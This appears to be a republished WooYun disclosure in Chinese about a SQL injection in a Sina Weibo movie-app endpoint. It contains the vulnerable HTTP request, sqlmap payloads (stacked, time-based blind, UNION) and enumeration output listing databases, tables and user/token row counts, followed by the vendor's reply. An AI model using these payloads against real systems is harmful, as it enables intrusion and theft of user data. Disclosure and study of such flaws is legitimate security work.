新浪微博某站点SQL注入(波及38万用户数据及13万用户token)

admin
admin
admin
140488
文章
117
评论
2017年3月29日01:02:11评论661 views字数 217阅读0分43秒阅读模式
摘要

2016-03-23： 细节已通知厂商并且等待厂商处理中
2016-03-23： 厂商已经确认，细节仅向厂商公开
2016-04-02： 细节向核心白帽子及相关领域专家公开
2016-04-12： 细节向普通白帽子公开
2016-04-22： 细节向实习白帽子公开
2016-05-07： 细节向公众公开

漏洞概要 关注数(13) 关注此漏洞

缺陷编号： WooYun-2016-188164

漏洞标题： 新浪微博某站点SQL注入(波及38万用户数据及13万用户token)

相关厂商： 新浪

漏洞作者： Blcat

提交时间： 2016-03-23 16:40

公开时间： 2016-05-07 17:39

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 20

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 无

2人收藏

漏洞详情

披露状态：

2016-03-23： 细节已通知厂商并且等待厂商处理中
2016-03-23： 厂商已经确认，细节仅向厂商公开
2016-04-02： 细节向核心白帽子及相关领域专家公开
2016-04-12： 细节向普通白帽子公开
2016-04-22： 细节向实习白帽子公开
2016-05-07： 细节向公众公开

简要描述：

我发4我是午休起来刷微博看piapia酱的，不信你看
44444444444444444444444444444444444444444444

详细说明：

注入点：

code 区域 
POST /movieapp/mesdk/myticketlist HTTP/1.1
 Host: movie.weibo.com
 User-Agent: Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
 Connection: keep-alive
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 21
 
 type=0&uid=inject here
code 区域 
sqlmap resumed the following injection point(s) from stored session:
 ---
 Parameter: uid (POST)
     Type: stacked queries
     Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
     Payload: type=0&uid=2806387901;(SELECT * FROM (SELECT(SLEEP(5)))FOPZ)#
 
     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
     Payload: type=0&uid=2806387901 AND (SELECT * FROM (SELECT(SLEEP(5)))CrcV)
 
     Type: UNION query
     Title: Generic UNION query (NULL) - 19 columns
     Payload: type=0&uid=2806387901 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x41735366556276724f486866714c644f4f44626b5375476c73795464667a4f4152567a4b4a546474,0x7170707071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
 ---
 
 database management system users [1]:                                                                                  
 [*] 'musiclib_r'@'10.73.%'
 
 available databases [3]:                                                                                               
 [*] information_schema
 [*] musiclib
 [*] test

本来我就想这么交的，然后不小心手贱了下

202张表

code 区域 
Database: musiclib                                                                                                     
 [202 tables]
 +---------------------------------------+
 | artist_match_name                     |
 | cinema_area                           |
 | cinema_baseinfo                       |
 | cinema_screenings                     |
 | cinema_tag                            |
 | cinema_tag_mapcheck                   |
 | firehose_info                         |
 | mingxing_activity                     |
 | mingxing_userflower                   |
 | movie_admin_page                      |
 | movie_answers                         |
 | movie_app_push_task                   |
 | movie_app_realtime_push               |
 | movie_app_user                        |
 | movie_app_user_token                  |
 | movie_article                         |
 | movie_artist                          |
 | movie_box_office                      |
 | movie_box_office_poll                 |
 | movie_convert_callback                |
 | movie_coupon                          |
 | movie_coupon_backup                   |
 | movie_customize                       |
 | movie_dialogue                        |
 | movie_dialogue_pic                    |
 | movie_dictionary                      |
 | movie_emotion                         |
 | movie_event_schedule                  |
 | movie_film                            |
 | movie_film_old                        |
 | movie_film_promote                    |
 | movie_filmtopic                       |
 | movie_focus                           |
 | movie_foreign_comment                 |
 | movie_friendfeed                      |
 | movie_game_rank                       |
 | movie_game_seek_reply                 |
 | movie_game_tools                      |
 | movie_gewala_buy                      |
 | movie_group_comment_report            |
 | movie_group_user                      |
 | movie_hashdata                        |
 | movie_hottopic                        |
 | movie_nativebanner                    |
 | movie_newsinfo                        |
 | movie_object_relation                 |
 | movie_pagepoll                        |
 | movie_photo                           |
 | movie_place_sale                      |
 | movie_poll_daily_detail               |
 | movie_poll_detail                     |
 | movie_poll_detail_hot                 |
 | movie_poll_manul                      |
 | movie_proterty                        |
 | movie_question_type                   |
 | movie_questions                       |
 | movie_relation                        |
 | movie_relation_page                   |
 | movie_ticket                          |
 | movie_user_still                      |
 | movie_video                           |
 | movieapp_photo                        |
 | open_api_info                         |
 | open_api_tree                         |
 | open_group                            |
 | open_group_api_map                    |
 | open_user                             |
 | raw_album                             |
 | raw_cinema_mapcheck                   |
 | raw_map_check                         |
 | raw_movie                             |
 | raw_movie_artist_map                  |
 | raw_movie_douban_pic                  |
 | raw_movie_map                         |
 | raw_mv                                |
 | raw_mv_recommend                      |
 | raw_podcast                           |
 | raw_podcast_column                    |
 | raw_podcast_map                       |
 | raw_podcast_program                   |
 | raw_singer                            |
 | raw_song                              |
 | raw_song_0                            |
 | raw_song_1                            |
 | raw_song_10                           |
 | raw_song_11                           |
 | raw_song_12                           |
 | raw_song_13                           |
 | raw_song_14                           |
 | raw_song_15                           |
 | raw_song_16                           |
 | raw_song_17                           |
 | raw_song_18                           |
 | raw_song_19                           |
 | raw_song_2                            |
 | raw_song_20                           |
 | raw_song_21                           |
 | raw_song_22                           |
 | raw_song_23                           |
 | raw_song_3                            |
 | raw_song_4                            |
 | raw_song_5                            |
 | raw_song_6                            |
 | raw_song_7                            |
 | raw_song_8                            |
 | raw_song_9                            |
 | raw_song_match                        |
 | raw_source                            |
 | res_ad                                |
 | res_album                             |
 | res_album_song_map                    |
 | res_artist                            |
 | res_artist_album_map                  |
 | res_artist_song_map                   |
 | res_asiapoll_blacklist                |
 | res_band                              |
 | res_card_info                         |
 | res_celebrity_songlist                |
 | res_chinasong_manul                   |
 | res_comm_item                         |
 | res_common_banner                     |
 | res_copyright                         |
 | res_copyright_album_map               |
 | res_copyright_artist_map              |
 | res_copyright_song_map                |
 | res_country                           |
 | res_coupon_a                          |
 | res_famous_songlist                   |
 | res_feedback                          |
 | res_film_bonus                        |
 | res_film_coupon                       |
 | res_focus                             |
 | res_friendfeed                        |
 | res_hashdata                          |
 | res_hotweibo                          |
 | res_hotweibo_new                      |
 | res_interface_test                    |
 | res_keyword_queue                     |
 | res_language                          |
 | res_language_album_map                |
 | res_language_artist_map               |
 | res_language_song_map                 |
 | res_log                               |
 | res_lyric                             |
 | res_merge_log                         |
 | res_music_style                       |
 | res_musician_group                    |
 | res_musician_page                     |
 | res_musicstyle_album_map              |
 | res_musicstyle_artist_map             |
 | res_musicstyle_song_map               |
 | res_musictopic                        |
 | res_nativebanner                      |
 | res_object_creator_mblog              |
 | res_page_layout                       |
 | res_page_render_map                   |
 | res_page_rule_set                     |
 | res_pagepoll                          |
 | res_party_song                        |
 | res_party_user_action                 |
 | res_party_user_video                  |
 | res_relation_store                    |
 | res_reservation                       |
 | res_right_card_map                    |
 | res_right_card_model                  |
 | res_s3_log                            |
 | res_search_watch                      |
 | res_share_text_map                    |
 | res_song                              |
 | res_song_audio                        |
 | res_song_countinfo                    |
 | res_song_ext                          |
 | res_song_outter_00                    |
 | res_song_outter_01                    |
 | res_song_outter_02                    |
 | res_song_outter_03                    |
 | res_song_outter_04                    |
 | res_song_outter_05                    |
 | res_song_outter_06                    |
 | res_song_outter_07                    |
 | res_song_outter_08                    |
 | res_song_outter_09                    |
 | res_song_outter_0a                    |
 | res_song_outter_0b                    |
 | res_song_outter_0c                    |
 | res_song_outter_0d                    |
 | res_song_outter_0e                    |
 | res_song_outter_0f                    |
 | res_song_ringtone                     |
 | res_songautopush_event                |
 | res_square_point_uid                  |
 | res_timing_job                        |
 | res_topic_monitor                     |
 | res_uidlist                           |
 | res_update_film                       |
 | res_update_song                       |
 | res_user                              |
 | res_user_rate                         |
 | res_usergroup                         |
 | song_match_name                       |
 | song_mv_map                           |
 | xunlongjue_message                    |
 +---------------------------------------+

其中movie_app_user和movie_app_user_token分别38万数据和13万

code 区域 
Database: musiclib
 +----------------+---------+
 | Table          | Entries |
 +----------------+---------+
 | movie_app_user | 385824  |
 +----------------+---------+
 Database: musiclib
 +----------------------+---------+
 | Table                | Entries |
 +----------------------+---------+
 | movie_app_user_token | 139005  |
 +----------------------+---------+

吓死苯宝宝了

漏洞证明：

我脱了20条数据证明下

新浪微博某站点SQL注入(波及38万用户数据及13万用户token)

全程只脱了20条数据证明危害，并没有脱裤

修复方案：

多多指教

(想送我礼物我是不会介意的)

版权声明：转载请注明来源 Blcat@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-03-23 17:39

厂商回复：

感谢关注新浪安全，问题修复中。

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2016-03-23 20:07 | hear7v ( 普通白帽子 | Rank:175 漏洞数:26 | 求组织收留啊)

    1

    他们响应你这个倒是很快啊

  2. 2016-03-23 20:10 | Blcat ( 普通白帽子 | Rank:193 漏洞数:29 | 家穷人丑 一米四九 小学文化 农村户口)

    1

    10rank好想哭

  3. 2016-03-23 20:20 | AAA ( 路人 | Rank:0 漏洞数:2 | 战五渣~)

    1

    @Blcat 别哭，再发两发就好了。

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin